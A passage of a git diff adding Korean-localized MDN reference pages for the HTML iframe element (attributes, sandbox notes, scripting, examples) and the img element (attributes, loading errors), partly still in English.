+ <dd>Set to <code>true</code> if the <code>&lt;iframe&gt;</code> can activate fullscreen mode by calling the {{domxref("Element.requestFullscreen", "requestFullscreen()")}} method.</dd>
+ <dd>
+ <div class="note">This attribute is considered a legacy attribute and redefined as <code>allow="fullscreen"</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("allowpaymentrequest")}}</dt>
+ <dd>Set to <code>true</code> if a cross-origin <code>&lt;iframe&gt;</code> should be allowed to invoke the <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a>.</dd>
+ <dd>
+ <div class="note">This attribute is considered a legacy attribute and redefined as <code>allow="payment"</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("csp")}} {{experimental_inline}}</dt>
+ <dd>A <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> enforced for the embedded resource. See {{domxref("HTMLIFrameElement.csp")}} for details.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>The height of the frame in CSS pixels. Default is <code>150</code>.</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>The download priority of the resource in the <code>&lt;iframe&gt;</code>'s <code>src</code> attribute. Allowed values:
+ <dl>
+  <dt><code>auto</code> (default)</dt>
+  <dd>No preference. The browser uses its own heuristics to decide the priority of the resource.</dd>
+  <dt><code>high</code></dt>
+  <dd>The resource should be downloaded before other lower-priority page resources.</dd>
+  <dt><code>low</code></dt>
+  <dd>The resource should be downloaded after other higher-priority page resources.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("loading")}} {{experimental_inline}}</dt>
+ <dd>Indicates how the browser should load the iframe:
+ <ul>
+  <li><code>eager</code>: Load the iframe immediately, regardless if it is outside the visible viewport (this is the default value).</li>
+  <li><code><font face="consolas, Liberation Mono, courier, monospace">lazy</font></code>: Defer loading of the iframe until it reaches a calculated distance from the viewport, as defined by the browser.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>A targetable name for the embedded browsing context. This can be used in the <code>target</code> attribute of the {{HTMLElement("a")}}, {{HTMLElement("form")}}, or {{HTMLElement("base")}} elements; the <code>formtarget</code> attribute of the {{HTMLElement("input")}} or {{HTMLElement("button")}} elements; or the <code>windowName</code> parameter in the {{domxref("Window.open()","window.open()")}} method.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>Indicates which <a href="/en-US/docs/Web/API/Document/referrer">referrer</a> to send when fetching the frame's resource:
+ <ul>
+  <li><code>no-referrer</code>: The {{HTTPHeader("Referer")}} header will not be sent.</li>
+  <li><code>no-referrer-when-downgrade</code> (default): The {{HTTPHeader("Referer")}} header will not be sent to {{Glossary("origin")}}s without {{Glossary("TLS")}} ({{Glossary("HTTPS")}}).</li>
+  <li><code>origin</code>: The sent referrer will be limited to the origin of the referring page: its <a href="/en-US/docs/Archive/Mozilla/URIScheme">scheme</a>, {{Glossary("host")}}, and {{Glossary("port")}}.</li>
+  <li><code>origin-when-cross-origin</code>: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.</li>
+  <li><code>same-origin</code>: A referrer will be sent for {{Glossary("Same-origin policy", "same origin")}}, but cross-origin requests will contain no referrer information.</li>
+  <li><code>strict-origin</code>: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).</li>
+  <li><code>strict-origin-when-cross-origin</code>: Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).</li>
+  <li><code>unsafe-url</code>: The referrer will include the origin <em>and</em> the path (but not the <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/hash">fragment</a>, <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/password">password</a>, or <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">username</a>). <strong>This value is unsafe</strong>, because it leaks origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sandbox")}}</dt>
+ <dd>Applies extra restrictions to the content in the frame. The value of the attribute can either be empty to apply all restrictions, or space-separated tokens to lift particular restrictions:
+ <ul>
+  <li><code>allow-downloads-without-user-activation</code> {{experimental_inline}}: Allows for downloads to occur without a gesture from the user.</li>
+  <li><code>allow-forms</code>: Allows the resource to submit forms. If this keyword is not used, form submission is blocked.</li>
+  <li><code>allow-modals</code>: Lets the resource <a href="https://html.spec.whatwg.org/multipage/origin.html#sandboxed-modals-flag">open modal windows</a>.</li>
+  <li><code>allow-orientation-lock</code>: Lets the resource <a href="/en-US/docs/Web/API/Screen/lockOrientation">lock the screen orientation</a>.</li>
+  <li><code>allow-pointer-lock</code>: Lets the resource use the <a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a>.</li>
+  <li><code>allow-popups</code>: Allows popups (such as <code>window.open()</code>, <code>target="_blank"</code>, or <code>showModalDialog()</code>). If this keyword is not used, the popup will silently fail to open.</li>
+  <li><code>allow-popups-to-escape-sandbox</code>: Lets the sandboxed document open new windows without those windows inheriting the sandboxing. For example, this can safely sandbox an advertisement without forcing the same restrictions upon the page the ad links to.</li>
+  <li><code>allow-presentation</code>: Lets the resource start a <a href="/en-US/docs/Web/API/PresentationRequest">presentation session</a>.</li>
+  <li><code>allow-same-origin</code>: If this token is not used, the resource is treated as being from a special origin that always fails the {{Glossary("same-origin policy")}}.</li>
+  <li><code>allow-scripts</code>: Lets the resource run scripts (but not create popup windows).</li>
+  <li><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}: Lets the resource request access to the parent's storage capabilities with the <a href="/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>.</li>
+  <li><code>allow-top-navigation</code>: Lets the resource navigate the top-level browsing context (the one named <code>_top</code>).</li>
+  <li><code>allow-top-navigation-by-user-activation</code>: Lets the resource navigate the top-level browsing context, but only if initiated by a user gesture.</li>
+ </ul>
+
+ <div class="note"><strong>Notes about sandboxing:</strong>
+
+ <ul>
+  <li>When the embedded document has the same origin as the embedding page, it is <strong>strongly discouraged</strong> to use both <code>allow-scripts</code> and <code>allow-same-origin</code>, as that lets the embedded document remove the <code>sandbox</code> attribute — making it no more secure than not using the <code>sandbox</code> attribute at all.</li>
+  <li>Sandboxing is useless if the attacker can display content outside a sandboxed <code>iframe</code> — such as if the viewer opens the frame in a new tab. Such content should be also served from a <em>separate origin</em> to limit potential damage.</li>
+  <li>The <code>sandbox</code> attribute is unsupported in Internet Explorer 9 and earlier.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>The URL of the page to embed. Use a value of <code>about:blank</code> to embed an empty page that conforms to the <a href="/en-US/docs/Web/Security/Same-origin_policy#Inherited_origins">same-origin policy</a>. Also note that programatically removing an <code>&lt;iframe&gt;</code>'s src attribute (e.g. via {{domxref("Element.removeAttribute()")}}) causes <code>about:blank</code> to be loaded in the frame in Firefox (from version 65), Chromium-based browsers, and Safari/iOS.</dd>
+ <dt>{{htmlattrdef("srcdoc")}}</dt>
+ <dd>Inline HTML to embed, overriding the <code>src</code> attribute. If a browser does not support the <code>srcdoc</code> attribute, it will fall back to the URL in the <code>src</code> attribute.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>The width of the frame in CSS pixels. Default is <code>300</code>.</dd>
+</dl>
+
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<p>These attributes are deprecated and may no longer be supported by all user agents. You should not use them in new content, and try to remove them from existing content.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>The alignment of this element with respect to the surrounding context.</dd>
+ <dt>{{htmlattrdef("frameborder")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The value <code>1</code> (the default) draws a border around this frame. The value <code>0</code> removes the border around this frame, but you should instead use the CSS property {{cssxref("border")}} to control <code>&lt;iframe&gt;</code> borders.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{obsolete_inline("html5")}}</dt>
+ <dd>A URL of a long description of the frame's content. Due to widespread misuse, this is not helpful for non-visual browsers.</dd>
+ <dt>{{htmlattrdef("marginheight")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The amount of space in pixels between the frame's content and its top and bottom borders.</dd>
+ <dt>{{htmlattrdef("marginwidth")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The amount of space in pixels between the frame's content and its left and right borders.</dd>
+ <dt>{{htmlattrdef("scrolling")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Indicates when the browser should provide a scrollbar for the frame:
+ <ul>
+  <li><code>auto</code>: Only when the frame's content is larger than its dimensions.</li>
+  <li><code>yes</code>: Always show a scrollbar.</li>
+  <li><code>no</code>: Never show a scrollbar.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Non-standard_attributes_non-standard_inline">Non-standard attributes {{non-standard_inline}}</h3>
+
+<dl>
+ <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt>
+ <dd>
+ <div class="note">See {{bug(1318532)}} for exposing this to WebExtensions in Firefox.</div>
+ Makes the <code>&lt;iframe&gt;</code> act like a top-level browser window. See <a href="/en-US/docs/Mozilla/Gecko/Chrome/API/Browser_API">Browser API</a> for details.<br>
+ <strong>Available only to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+</dl>
+
+<h2 id="스크립팅">스크립팅</h2>
+
+<p>Inline frames, like {{HTMLElement("frame")}} elements, are included in the {{domxref("window.frames")}} pseudo-array.</p>
+
+<p>With the DOM {{domxref("HTMLIFrameElement")}} object, scripts can access the {{domxref("window")}} object of the framed resource via the {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} property. The {{domxref("HTMLIFrameElement.contentDocument", "contentDocument")}} property refers to the <code>document</code> inside the <code>&lt;iframe&gt;</code>, same as <code>contentWindow.document</code>.</p>
+
+<p>From the inside of a frame, a script can get a reference to its parent window with {{domxref("window.parent")}}.</p>
+
+<p>Script access to a frame's content is subject to the {{Glossary("same-origin policy")}}. Scripts cannot access most properties in other <code>window</code> objects if the script was loaded from a different origin, including scripts inside a frame accessing the frame's parent. Cross-origin communication can be achieved using {{domxref("Window.postMessage()")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_프레임">간단한 프레임</h3>
+
+<p>An <code>&lt;iframe&gt;</code> in action. After creating the frame, when the user clicks a button, its title is displayed in an alert.</p>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html">&lt;iframe src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html"
+            title="iframe Example 1" width="400" height="300"&gt;
+&lt;/iframe&gt;</pre>
+</div>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('간단한_프레임', 640,400)}}</p>
+
+<h3 id="프레임_안의_링크를_다른_탭에서_열기">프레임 안의 링크를 다른 탭에서 열기</h3>
+
+<div>
+<pre class="brush: html">&lt;iframe id="Example2"
+    title="iframe Example 2"
+    width="400" height="300"
+    style="border:none"
+    src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;q=buenos+aires&amp;sll=37.0625,-95.677068&amp;sspn=38.638819,80.859375&amp;t=h&amp;hnear=Buenos+Aires,+Argentina&amp;z=11&amp;ll=-34.603723,-58.381593&amp;output=embed"&gt;
+&lt;/iframe&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('프레임_안의_링크를_다른_탭에서_열기', 640, 400)}}</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.iframe", 3)}}</p>
diff --git a/files/ko/web/html/element/img/index.html b/files/ko/web/html/element/img/index.html
new file mode 100644
index 0000000000..bedbe7b074
--- /dev/null
+++ b/files/ko/web/html/element/img/index.html
@@ -0,0 +1,389 @@
+---
+title: '<img>: 이미지 삽입 요소'
+slug: Web/HTML/Element/img
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - Multimedia
+  - Reference
+  - Web
+  - 사진
+  - 이미지
+translation_of: Web/HTML/Element/img
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;img&gt;</code> 요소</strong>는 문서에 이미지를 넣습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/img.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>위의 예제를 통해 <code>&lt;img&gt;</code> 요소의 사용법을 알 수 있습니다.</p>
+
+<ul>
+ <li><code>src</code> 특성은 <strong>필수</strong>이며, 포함하고자 하는 이미지로의 경로를 지정합니다.</li>
+ <li><code>alt</code> 특성은 이미지의 텍스트 설명이며 필수는 아니지만, 스크린 리더가 <code>alt</code>의 값을 읽어 사용자에게 이미지를 설명하므로, 접근성 차원에서 <strong>매우 유용</strong>합니다. 또한 네트워크 오류, 콘텐츠 차단, 죽은 링크 등 이미지를 표시할 수 없는 경우에도 이 속성의 값을 대신 보여줍니다.</li>
+</ul>
+
+<div class="hidden">
+<p>다양한 목적을 위한 많은 수의 속성이 더 존재합니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Referrer-Policy">Referrer</a>/{{glossary("CORS")}} control for security and privacy: see {{htmlattrxref("crossorigin", "img")}} and {{htmlattrxref("referrerpolicy", "img")}}.</li>
+ <li>Setting an {{glossary("intrinsic size")}} using {{htmlattrxref("width", "img")}}, {{htmlattrxref("height", "img")}}, and {{htmlattrxref("intrinsicsize", "img")}}: this sets the space taken up by an image to ensure the page layout is stable before it loads.</li>
+ <li>Responsive image hints with {{htmlattrxref("sizes", "img")}} and {{htmlattrxref("srcset", "img")}} (see also the {{htmlelement("picture")}} element and our <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> tutorial).</li>
+</ul>
+</div>
+
+<h2 id="지원하는_이미지_형식">지원하는 이미지 형식</h2>
+
+<p>HTML 표준은 지원해야 하는 이미지 형식을 명시하고 있지 않으므로, 각각의 {{glossary("user agent", "사용자 에이전트")}}는 서로 다른 형식을 지원합니다. 전체 목록은 <a href="/ko/docs/Web/Media/Formats/Image_types">웹 브라우저가 지원하는 이미지 형식 안내서</a>를 참고하세요.</p>
+
+<h2 id="이미지를_가져올_수_없을_때">이미지를 가져올 수 없을 때</h2>
+
+<p>이미지를 불러오거나 그릴 때 오류가 발생했고, {{htmlattrxref("onerror")}} 속성에 오류 처리기를 등록했다면 {{event("error")}} 이벤트와 함께 처리기를 호출합니다. 오류는 다양한 상황에서 발생할 수 있는데, 그 중 일부 원인은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{htmlattrxref("src", "img")}} 속성이 비었거나 {{jsxref("null")}}임.</li>
+ <li><code>src</code>의 URL이 현재 사용자가 보는 페이지의 URL과 같음.</li>
+ <li>지정한 이미지가 손상돼 불러올 수 없음.</li>
+ <li>이미지의 메타데이터가 손상돼 원본 크기를 알아낼 수 없고, <code>&lt;img&gt;</code> 요소의 속성에도 크기를 지정하지 않음.</li>
+ <li>{{Glossary("user agent", "사용자 에이전트")}}가 지원하지 않는 이미지 형식임.</li>
+</ul>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>이미지의 대체 텍스트 설명.
+ <div class="note">
+ <p><strong>참고:</strong> 브라우저가 항상 이미지를 표시하는건 아닙니다. 예를 들어,</p>
+
+ <ul>
+  <li>비 시각적 브라우저 (시각 장애인이 사용하는 일부 브라우저 등)</li>
+  <li>사용자가 이미지 불러오기 거부 (대역폭 절약, 개인정보 보호 등)</li>
+  <li>유효하지 않은 이미지거나, <a href="/ko/docs/Web/HTML/Element/img#지원하는_이미지_형식">지원하지 않는 형식</a></li>
+ </ul>
+
+ <p>위와 같은 경우 브라우저가 이미지를 <code>alt</code> 특성의 텍스트로 대체할 수 있습니다. 그러므로 가능한 경우 <code>alt</code> 특성에 항상 유용한 값을 제공해야 합니다.</p>
+ </div>
+
+ <p><code>alt</code> 특성을 아예 지정하지 않은 경우 이미지가 콘텐츠의 중요 부분이나 텍스트로 표현할 수 없음을 의미합니다. 빈 문자열(<code>alt=""</code>)을 사용한 경우, 이미지가 콘텐츠의 중요 부분이 <strong>아니므로</strong>(장식 또는 추적용 픽셀 등), 비 시각적 브라우저가 {{glossary("Rendering engine", "렌더링")}}을 하지 않아도 된다는 의미입니다. 시각적 브라우저도 <code>alt</code> 특성이 비어있을 경우 깨진 이미지 아이콘을 표시하지 않습니다.</p>
+
+ <p>이미지를 텍스트로서 복사-붙여넣기할 때와, 이미지 링크를 북마크 할 때도 <code>alt</code>의 값을 사용합니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>CORS를 사용해 지정한 이미지 파일을 가져와야 하는지의 여부. <a href="/ko/docs/Web/HTML/CORS_enabled_image">교차 출처 활성화 리소스</a>는 {{HTMLElement("canvas")}} 요소에 사용해도 캔버스를 "오염"시키지 않습니다. 가능한 값은 다음과 같습니다.
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>자격 증명 없이 교차 출처 요청을 전송합니다. 즉, {{httpheader("Origin")}} {{glossary("HTTP")}} 헤더를 쿠키, <a href="https://tools.ietf.org/html/rfc5280">X.509 인증서</a>, <a href="/ko/docs/Web/HTTP/Authentication#Basic_인증_스킴">HTTP Basic 인증</a> 없이 전송합니다. 서버에서 {{httpheader("Access-Control-Allow-Origin")}} HTTP 헤더를 지정하지 않음으로써 요청 출처 사이트에 자격 증명을 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>자격 증명과 함께 교차 출처 요청을 전송합니다. 즉, <code>Origin</code> HTTP 헤더를 쿠키, X 509 인증서, 또는 HTTP Basic 이증과 함께 전송합니다. 서버에서 <code>Access-Control-Allow-Credentials</code> HTTP 헤더를 통한 자격 증명을 요청 출처 사이트에 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+ </dl>
+ 특성이 존재하지 않으면 리소스를 CORS 요청 없이(<code>Origin</code> HTTP 헤더 없이) 가져오므로, {{htmlelement("canvas")}}를 오염시키게 됩니다. 유효하지 않은 값의 경우 <code>anonymous</code> 키워드를 사용한 것으로 간주합니다.</dd>
+ <dt>{{htmlattrdef("decoding")}}</dt>
+ <dd>이미지 디코딩에 관해 브라우저에 제공할 힌트. 가능한 값은 다음과 같습니다.
+ <dl>
+  <dt><code>sync</code></dt>
+  <dd>다른 콘텐츠와 함께 표시하기 위해 이미지를 동기적으로 디코딩 합니다.</dd>
+  <dt><code>async</code></dt>
+  <dd>다른 콘텐츠의 표시 지연을 피하기 위해 이미지를 비동기적으로 디코딩 합니다.</dd>
+  <dt><code>auto</code></dt>
+  <dd>선호하는 디코딩 모드가 없음을 나타내는 기본값입니다. 사용자에게 제일 적절한 값을 브라우저가 결정합니다.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>픽셀 단위의 이미지의 고유 크기. 단위 없는 정수여야 합니다.</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>리소스의 상대적인 다운로드 중요도. 가능한 값은 다음과 같습니다.</dd>
+ <dd>
+ <p><code>auto</code>: <strong>설정 안함</strong>. 브라우저가 자체 휴리스틱을 사용해 이미지의 우선순위를 결정합니다.</p>
+
+ <p><code>high</code>: 이미지가 <strong>높은</strong> 우선순위를 지님.</p>
+
+ <p><code>low</code>: 이미지가 <strong>낮은</strong> 우선순위를 지님.</p>
+ </dd>
+ <dt class="hidden">{{htmlattrdef("intrinsicsize")}} {{deprecated_inline}}</dt>
+ <dd class="hidden">This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute. Specifically, the image would raster at these dimensions and <code>naturalWidth</code>/<code>naturalHeight</code> on images would return the values specified in this attribute. <a href="https://github.com/ojanvafai/intrinsicsize-attribute">Explainer</a>, <a href="https://googlechrome.github.io/samples/intrinsic-size/index.html">examples</a></dd>
+ <dt>{{htmlattrdef("ismap")}}</dt>
+ <dd>이미지가 <a href="https://ko.wikipedia.org/wiki/%EC%9D%B4%EB%AF%B8%EC%A7%80_%EB%A7%B5">서버 사이드 맵</a>의 일부인지 나타냄. 서버 사이드 맵에 속하는 경우, 사용자가 이미지에서 클릭한 위치를 서버로 전송합니다.
+ <div class="note">
+ <p><strong>참고:</strong> 포인팅 장치가 없는 사용자도 갈 수 있는 대체 목적지를 제공하기 위해, <code>ismap</code>은 <code>&lt;img&gt;</code> 요소가 유효한 {{htmlattrxref("href", "a")}} 특성을 가진 {{htmlelement("a")}} 요소의 자손인 경우에만 사용 가능합니다.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("loading")}}</dt>
+ <dd>브라우저가 이미지를 불러올 때 사용할 방식을 지정합니다.
+ <ul>
+  <li><code>eager</code>: 뷰포트 안에 위치하는지 여부에 상관하지 않고 이미지를 즉시 불러옵니다. (기본값)</li>
+  <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">lazy</span></font>: 이미지가 뷰포트의 일정 거리 안으로 들어와야 불러옵니다. 거리는 브라우저가 정의합니다. 이미지를 보게 될 것으로 충분히 예상 가능한 상황에만 불러옴으로써, 불필요하게 네트워크와 저장소 대역폭을 낭비하지 않을 수 있습니다. 또한 일반적인 사용처에서는 대개 성능을 향상할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>리소스를 가져올 때 사용할 리퍼러를 나타내는 문자열.
+ <ul>
+  <li><code>no-referrer:</code> {{httpheader("Referer")}} 헤더를 전송하지 않습니다.</li>
+  <li><code>no-referrer-when-downgrade:</code> TLS(HTTPS) 지원을 하지 않는 출처에 대해서는 <code>Referer</code> 헤더를 전송하지 않습니다. 따로 지정하지 않은 경우 사용하는 기본 정책입니다.</li>
+  <li><code>origin:</code> <code>Referer</code> 헤더가 요청 출처의 {{glossary("schema", "스킴")}}, {{glossary("host", "호스트")}}, {{glossary("port", "포트")}}를 포함합니다.</li>
+  <li><code>origin-when-cross-origin:</code> 다른 출처로 요청할 땐 리퍼럴 데이터를 스킴, 호스트, 포트로 제한합니다. 동일 출처로 요청할 땐 전체 경로와 쿼리 문자열도 포함합니다.</li>
+  <li><code>unsafe-url:</code> <code>Referrer</code> 헤더가 항상 출처, 경로, 쿼리 문자열을 포함합니다. 하지만 프래그먼트, 비밀번호, 사용자 이름은 포함하지 않습니다. TLS로 보호받는 리소스에서 그렇지 않은 출처로 정보를 누출할 수 있으므로 <strong>안전하지 않습니다</strong>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>소스 크기를 나타내는, 쉼표로 구분한 하나 이상의 문자열. 각각의 문자열은 다음 구성요소로 이루어집니다.
+ <ol>
+  <li><a href="/ko/docs/Web/Guide/CSS/Media_queries#구문">미디어 조건</a>. 마지막 항목에서는 생략해야 합니다.</li>
+  <li>소스 크기 값.</li>
+ </ol>
+
+ <p>미디어 조건은 이미지의 속성이 아니라<strong> {{glossary("viewport", "뷰포트")}}</strong> 속성을 가리킵니다. 예를 들어, <code>(max-height: 500px) 1000px</code>은 1000px 너비의 소스를 사용하려면 <strong>뷰포트</strong>가 500px 이하여야 한다는 뜻입니다.</p>
+
+ <p>소스 크기는 의도한 이미지 표시 크기를 지정합니다. {{glossary("user agent", "사용자 에이전트")}}는 현재 소스 크기를 사용해, 너비(<code>w</code>) 서술자를 사용한 <code>srcset</code> 특성의 소스 중 하나를 선택합니다. 선택한 소스 크기는 이미지의 {{glossary("intrinsic size", "고유 크기")}}({{glossary("CSS")}} 스타일을 입히지 않은 경우 이미지의 표시 크기)에 영향을 줍니다. <code>srcset</code>이 비어있거나 너비 서술자를 사용하지 않은 경우, <code>sizes</code> 특성은 아무 효과도 없습니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>이미지의 {{glossary("URL")}}. 필수 사항입니다. <code>srcset</code>을 지원하는 {{glossary("Browser", "브라우저")}}의 <code>srcset</code>에 픽셀 밀도 <code>1x</code>와 <code>w</code> 서술자가 없는 경우, <code>src</code>는 픽셀 밀도 <code>1x</code>의 이미지 후보로 취급합니다.</dd>
+ <dt>{{htmlattrdef("srcset")}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 사용할 수 있는 이미지 소스의 후보. 쉼표로 구분하는 한 개 이상의 문자열 목록입니다. 각각의 문자열은 다음 구성요소로 이루어집니다.
+ <ol>
+  <li>이미지의 {{glossary("URL")}}.</li>
+  <li>선택적으로, 공백과 함께 그 뒤를 잇는...
+   <ul>
+    <li>너비 서술자(양의 정수와 바로 뒤의 '<code>w</code>' 문자). 너비 서술자의 값을 <code>sizes</code> 특성으로 지정한 소스 크기로 나눠서 픽셀 밀도를 구합니다.</li>
+    <li>픽셀 밀도 서술자(양의 실수와 바로 뒤의 '<code>x</code>' 문자).</li>
+   </ul>
+  </li>
+ </ol>
+
+ <p>서술자를 포함하지 않은 경우 기본값인 <code>1x</code>로 간주합니다.</p>
+
+ <p>같은 <code>srcset</code> 특성에 너비와 픽셀 밀도 서술자를 함께 사용하거나, 동일한 서술자를 두 개 이상 사용하는건 유효하지 않습니다.</p>
+
+ <p>사용자 에이전트 스스로 가능한 소스 중 하나를 선택합니다. 따라서 사용자 에이전트는 사용자의 개인 설정 또는 대역폭 상황에 따라 선택을 조절할 수 있는 상당한 여지를 가집니다. <a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">반응형 이미지 자습서</a>를 방문해 예제를 살펴보세요.</p>
+ </dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>이미지의 픽셀 기준 고유 너비. 단위 없는 정수여야 합니다.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>요소와 연결할 <a href="/ko/docs/HTML/Element/map">이미지 맵</a>의 프래그먼트.
+ <div class="note">
+ <p><strong>참고: </strong><code>&lt;img&gt;</code> 요소가 {{htmlelement("a")}} 또는 {{HTMLElement("button")}} 요소의 자손이면 사용할 수 없습니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Obsolete_Inline}}</dt>
+ <dd>Aligns the image with its surrounding context. Use the {{cssxref('float')}} and/or {{cssxref('vertical-align')}} {{glossary("CSS")}} properties instead of this attribute. Allowed values:</dd>
+ <dd>
+ <dl>
+  <dt><code>top</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">vertical-align: top</code> or <code style="white-space: nowrap;">vertical-align: text-top</code></dd>
+  <dt><code>middle</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">vertical-align: -moz-middle-with-baseline</code></dd>
+  <dt><code>bottom</code></dt>
+  <dd>The default, equivalent to <code style="white-space: nowrap;">vertical-align: unset</code> or <code style="white-space: nowrap;">vertical-align: initial</code></dd>
+  <dt><code>left</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">float: left</code></dd>
+  <dt><code>right</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">float: right</code></dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("border")}} {{Obsolete_Inline}}</dt>
+ <dd>The width of a border around the image. Use the {{cssxref('border')}} {{glossary("CSS")}} property instead.</dd>
+ <dt>{{htmlattrdef("hspace")}} {{Obsolete_Inline}}</dt>
+ <dd>The number of pixels of white space on the left and right of the image. Use the {{cssxref('margin')}} CSS property instead.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{Obsolete_Inline}}</dt>
+ <dd>A link to a more detailed description of the image. Possible values are a {{glossary("URL")}} or an element {{htmlattrxref("id")}}.
+ <div class="note">
